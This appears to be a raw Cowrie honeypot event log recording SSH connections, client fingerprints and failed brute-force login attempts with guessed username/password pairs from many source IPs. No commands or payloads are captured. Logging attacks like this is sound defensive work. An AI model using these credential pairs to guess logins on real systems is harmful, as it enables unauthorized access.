{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:38:49.569934Z","src_ip":"103.187.165.26","session":"f3a03103a20e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shakeel","message":"login attempt [root/shakeel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:38:50.595648Z","src_ip":"103.187.165.26","session":"f3a03103a20e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":37132,"dst_ip":"10.17.0.5","dst_port":22,"session":"e84d1f639c01","protocol":"ssh","message":"New connection: 8.210.75.243:37132 (10.17.0.5:22) [session: e84d1f639c01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:38:51.791528Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:38:51.846889Z","src_ip":"103.187.165.26","session":"f3a03103a20e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:38:53.826597Z","src_ip":"8.210.75.243","session":"e84d1f639c01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":26190,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b2b22a89c6e","protocol":"ssh","message":"New connection: 147.45.199.80:26190 (10.17.0.5:22) [session: 3b2b22a89c6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:38:59.855408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:38:59.860038Z","src_ip":"147.45.199.80","session":"3b2b22a89c6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:38:59.957922Z","src_ip":"147.45.199.80","session":"3b2b22a89c6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dbrekmrf","message":"login attempt [root/dbrekmrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:00.253941Z","src_ip":"147.45.199.80","session":"3b2b22a89c6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:01.358844Z","src_ip":"147.45.199.80","session":"3b2b22a89c6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":39142,"dst_ip":"159.203.135.109","dst_port":22,"session":"578e8341eb09","protocol":"ssh","message":"New connection: 77.94.47.83:39142 (159.203.135.109:22) [session: 578e8341eb09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:05.766270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:05.774997Z","src_ip":"77.94.47.83","session":"578e8341eb09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:05.884880Z","src_ip":"77.94.47.83","session":"578e8341eb09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"goodtime","message":"login attempt [root/goodtime] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:06.215287Z","src_ip":"77.94.47.83","session":"578e8341eb09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:07.329186Z","src_ip":"77.94.47.83","session":"578e8341eb09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":67.33748936653137,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:14.113313Z","src_ip":"170.64.224.25","session":"f9325412368d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":49406,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebb2edfda3ec","protocol":"ssh","message":"New connection: 8.210.75.243:49406 (10.17.0.5:22) [session: ebb2edfda3ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:22.077233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:22.771956Z","src_ip":"8.210.75.243","session":"ebb2edfda3ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:22.814536Z","src_ip":"8.210.75.243","session":"670ccef821b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":34638,"dst_ip":"159.203.135.109","dst_port":22,"session":"9385cba4a386","protocol":"ssh","message":"New connection: 159.65.58.200:34638 (159.203.135.109:22) [session: 9385cba4a386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:24.290306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:24.438349Z","src_ip":"159.65.58.200","session":"9385cba4a386","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:24.441618Z","src_ip":"159.65.58.200","session":"9385cba4a386","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.111.155","src_port":60796,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed009fb55e27","protocol":"ssh","message":"New connection: 101.36.111.155:60796 (10.17.0.5:22) [session: ed009fb55e27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:24.648101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:24.652460Z","src_ip":"101.36.111.155","session":"ed009fb55e27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:24.866368Z","src_ip":"101.36.111.155","session":"ed009fb55e27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sidia","password":"123456","message":"login attempt [sidia/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:25.733235Z","src_ip":"159.65.58.200","session":"9385cba4a386","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex@123","message":"login attempt [alex/alex@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:25.759387Z","src_ip":"101.36.111.155","session":"ed009fb55e27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.244.109","src_port":59104,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e97f676a0e3","protocol":"ssh","message":"New connection: 192.169.244.109:59104 (10.17.0.5:22) [session: 7e97f676a0e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:26.383486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:26.387546Z","src_ip":"192.169.244.109","session":"7e97f676a0e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:26.464702Z","src_ip":"192.169.244.109","session":"7e97f676a0e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"baghdad_iraq","password":"baghdad123","message":"login attempt [baghdad_iraq/baghdad123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:26.659377Z","src_ip":"192.169.244.109","session":"7e97f676a0e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:26.976296Z","src_ip":"101.36.111.155","session":"ed009fb55e27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:26.988590Z","src_ip":"159.65.58.200","session":"9385cba4a386","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:27.727010Z","src_ip":"192.169.244.109","session":"7e97f676a0e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":52412,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a5720ff0467","protocol":"ssh","message":"New connection: 165.154.137.186:52412 (10.17.0.5:22) [session: 8a5720ff0467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:29.871585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:29.876041Z","src_ip":"165.154.137.186","session":"8a5720ff0467","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:30.132129Z","src_ip":"165.154.137.186","session":"8a5720ff0467","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:30.903143Z","src_ip":"165.154.137.186","session":"8a5720ff0467","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.22.174","src_port":33080,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f4e20b8c40c","protocol":"ssh","message":"New connection: 162.214.22.174:33080 (159.203.135.109:22) [session: 0f4e20b8c40c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:35.328843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:35.335281Z","src_ip":"162.214.22.174","session":"0f4e20b8c40c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:35.416862Z","src_ip":"162.214.22.174","session":"0f4e20b8c40c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"estonia","password":"Tallinn#Crypto$S3cur3!","message":"login attempt [estonia/Tallinn#Crypto$S3cur3!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:35.662997Z","src_ip":"162.214.22.174","session":"0f4e20b8c40c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:36.747048Z","src_ip":"162.214.22.174","session":"0f4e20b8c40c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.177.22","src_port":41752,"dst_ip":"10.17.0.5","dst_port":22,"session":"35ae9b06a146","protocol":"ssh","message":"New connection: 162.241.177.22:41752 (10.17.0.5:22) [session: 35ae9b06a146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:39.740439Z"}
